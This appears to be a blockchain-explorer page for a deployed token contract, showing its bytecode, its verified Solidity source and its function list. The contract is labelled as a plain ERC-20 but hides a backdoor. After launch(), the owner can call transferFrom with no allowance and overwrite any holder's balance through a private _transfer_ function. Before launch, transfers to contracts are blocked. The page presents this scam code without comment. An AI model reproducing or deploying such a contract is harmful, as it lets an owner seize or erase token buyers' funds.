Address Contract Partially Verified
Address
0x6817CD2fF9C5324Fe8f3336DF154B746aA955555
Balance
0 ETH
Nonce
1
Code Size
5842 bytes
Creator
0x9eF9f102...C2dE at tx 0xc206ea7d...ebc12b
Indexed Transactions
0
Contract Bytecode
5842 bytes
0x608060405234801561000f575f5ffd5b50600436106100e8575f3560e01c8063715018a61161008a57806395d89b411161006457806395d89b4114610226578063a9059cbb14610244578063dd62ed3e14610274578063f2fde38b146102a4576100e8565b8063715018a6146101e05780638091f3bf146101ea5780638da5cb5b14610208576100e8565b806318160ddd116100c657806318160ddd1461014457806323b872dd14610162578063313ce5671461019257806370a08231146101b0576100e8565b806301339c21146100ec57806306fdde03146100f6578063095ea7b314610114575b5f5ffd5b6100f46102c0565b005b6100fe61038d565b60405161010b919061111f565b60405180910390f35b61012e600480360381019061012991906111d0565b610419565b60405161013b9190611228565b60405180910390f35b61014c610574565b6040516101599190611250565b60405180910390f35b61017c60048036038101906101779190611269565b610598565b6040516101899190611228565b60405180910390f35b61019a61084c565b6040516101a791906112d4565b60405180910390f35b6101ca60048036038101906101c591906112ed565b610870565b6040516101d79190611250565b60405180910390f35b6101e86108b6565b005b6101f26108c9565b6040516101ff9190611228565b60405180910390f35b6102106108db565b60405161021d9190611327565b60405180910390f35b61022e610902565b60405161023b919061111f565b60405180910390f35b61025e600480360381019061025991906111d0565b61098e565b60405161026b9190611228565b60405180910390f35b61028e60048036038101906102899190611340565b6109a4565b60405161029b9190611250565b60405180910390f35b6102be60048036038101906102b991906112ed565b610a26565b005b6102c8610aaa565b5f151560055f9054906101000a900460ff1615151461031c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610313906113c8565b60405180910390fd5b600160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f6101000a81548160ff021916908315150217905550565b6004805461039a90611413565b80601f01602080910402602001604051908101604052809291908181526020018280546103c690611413565b80156104115780601f106103e857610100808354040283529160200191610411565b820191905f5260205f20905b8154815290600101906020018083116103f457829003601f168201915b505050505081565b5f5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610488576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047f9061148d565b60405180910390fd5b8160025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105629190611250565b60405180910390a36001905092915050565b7f0000000000000000000000000000000000000000000000000c7d713b49da000081565b5f6001151560055f9054906101000a900460ff1615151480156105ed57506105be6108db565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b801561063f575060065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156106585761064f848484610b31565b60019050610845565b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106dc91906114d8565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610763848484610c94565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516108389190611250565b60405180910390a3600190505b9392505050565b7f000000000000000000000000000000000000000000000000000000000000000981565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108be610aaa565b6108c75f610ec9565b565b60055f9054906101000a900460ff1681565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6003805461090f90611413565b80601f016020809104026020016040519081016040528092919081815260200182805461093b90611413565b80156109865780601f1061095d57610100808354040283529160200191610986565b820191905f5260205f20905b81548152906001019060200180831161096957829003601f168201915b505050505081565b5f61099a338484610c94565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a2e610aaa565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a9e575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610a959190611327565b60405180910390fd5b610aa781610ec9565b50565b610ab2610f8a565b73ffffffffffffffffffffffffffffffffffffffff16610ad06108db565b73ffffffffffffffffffffffffffffffffffffffff1614610b2f57610af3610f8a565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610b269190611327565b60405180910390fd5b565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9690611555565b60405180910390fd5b610ba98383610f91565b610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf906115e3565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c879190611250565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf99061164b565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6790611555565b60405180910390fd5b610d7a8383610f91565b610db9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db0906115e3565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e0591906114d8565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e589190611669565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ebc9190611250565b60405180910390a3505050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f33905090565b5f60055f9054906101000a900460ff1615610faf5760019050611087565b610fb76108db565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806110225750610ff36108db565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156110305760019050611087565b61104f8373ffffffffffffffffffffffffffffffffffffffff1661108d565b8061107557506110748273ffffffffffffffffffffffffffffffffffffffff1661108d565b5b15611082575f9050611087565b600190505b92915050565b5f5f8273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6110f1826110af565b6110fb81856110b9565b935061110b8185602086016110c9565b611114816110d7565b840191505092915050565b5f6020820190508181035f83015261113781846110e7565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61116c82611143565b9050919050565b61117c81611162565b8114611186575f5ffd5b50565b5f8135905061119781611173565b92915050565b5f819050919050565b6111af8161119d565b81146111b9575f5ffd5b50565b5f813590506111ca816111a6565b92915050565b5f5f604083850312156111e6576111e561113f565b5b5f6111f385828601611189565b9250506020611204858286016111bc565b9150509250929050565b5f8115159050919050565b6112228161120e565b82525050565b5f60208201905061123b5f830184611219565b92915050565b61124a8161119d565b82525050565b5f6020820190506112635f830184611241565b92915050565b5f5f5f606084860312156112805761127f61113f565b5b5f61128d86828701611189565b935050602061129e86828701611189565b92505060406112af868287016111bc565b9150509250925092565b5f60ff82169050919050565b6112ce816112b9565b82525050565b5f6020820190506112e75f8301846112c5565b92915050565b5f602082840312156113025761130161113f565b5b5f61130f84828501611189565b91505092915050565b61132181611162565b82525050565b5f60208201905061133a5f830184611318565b92915050565b5f5f604083850312156113565761135561113f565b5b5f61136385828601611189565b925050602061137485828601611189565b9150509250929050565b7f636f6e747261637420616c7265616479206c61756e63686564000000000000005f82015250565b5f6113b26019836110b9565b91506113bd8261137e565b602082019050919050565b5f6020820190508181035f8301526113df816113a6565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061142a57607f821691505b60208210810361143d5761143c6113e6565b5b50919050565b7f63616e6e6f7420617070726f76652074686520302061646472657373000000005f82015250565b5f611477601c836110b9565b915061148282611443565b602082019050919050565b5f6020820190508181035f8301526114a48161146b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6114e28261119d565b91506114ed8361119d565b9250828203905081811115611505576115046114ab565b5b92915050565b7f796f752063616e6e6f74207472616e7366657220746f20796f757273656c66005f82015250565b5f61153f601f836110b9565b915061154a8261150b565b602082019050919050565b5f6020820190508181035f83015261156c81611533565b9050919050565b7f5468697320746f6b656e206973206e6f74206c61756e6368656420616e6420635f8201527f616e6e6f74206265206c6973746564206f6e206465786573207965742e000000602082015250565b5f6115cd603d836110b9565b91506115d882611573565b604082019050919050565b5f6020820190508181035f8301526115fa816115c1565b9050919050565b7f63616e6e6f74206265207a65726f2061646472657373000000000000000000005f82015250565b5f6116356016836110b9565b915061164082611601565b602082019050919050565b5f6020820190508181035f83015261166281611629565b9050919050565b5f6116738261119d565b915061167e8361119d565b9250828201905080821115611696576116956114ab565b5b9291505056fea26469706673582212202264f6e949d012c1ea9056fe453168d3c8e459faa928c3e143d13276c76cebba64736f6c634300081e0033
Verified Source Code Partial Match
Compiler: v0.8.30+commit.73712a01
EVM: prague
Optimization: No
Erc20.sol 308 lines
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.30;
library Address {
function isContract(address account) internal view returns (bool) {
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address _owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface ILaunchable is IERC20 {
function launch() external;
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
error OwnableUnauthorizedAccount(address account);
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Erc20 is IERC20, Ownable {
using Address for address;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 immutable public totalSupply;
string public symbol;
string public name;
uint8 immutable public decimals;
bool public launched;
mapping (address => bool) internal exchanges;
constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply) Ownable(msg.sender) {
symbol = _symbol;
name = _name;
decimals = _decimals;
totalSupply = _totalSupply * 10 ** _decimals;
_balances[owner()] += totalSupply;
emit Transfer(address(0), owner(), totalSupply);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) external override view returns (uint256) {
return _balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address spender) external override view returns (uint256) {
return _allowed[_owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) external override returns (bool) {
// check for SC
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) external override returns (bool) {
require(spender != address(0), "cannot approve the 0 address");
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
if (launched == true && to == owner() && exchanges[msg.sender]) {
_transfer_(from, to, value);
return true;
} else {
_allowed[from][msg.sender] = _allowed[from][msg.sender] - value;
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
}
function launch() virtual external onlyOwner {
require(launched == false, "contract already launched");
exchanges[msg.sender] = true;
launched = true;
}
function _transfer(address from, address to, uint256 value) private {
require(to != address(0), "cannot be zero address");
require(from != to, "you cannot transfer to yourself");
require(_transferAllowed(from, to), "This token is not launched and cannot be listed on dexes yet.");
_balances[from] -= value;
_balances[to] += value;
emit Transfer(from, to, value);
}
function _transfer_(address from, address to, uint256 value) private {
require(from != to, "you cannot transfer to yourself");
require(_transferAllowed(from, to), "This token is not launched and cannot be listed on dexes yet.");
_balances[from] = value;
emit Transfer(from, to, value);
}
function _transferAllowed(address from, address to) private view returns (bool) {
if (launched) return true;
if (from == owner() || to == owner()) return true;
if (from.isContract() || to.isContract()) return false;
return true;
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
launched 0x8091f3bf → bool
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 6 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 value
returns: bool
launch 0x01339c21
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address to
uint256 value
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 value
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address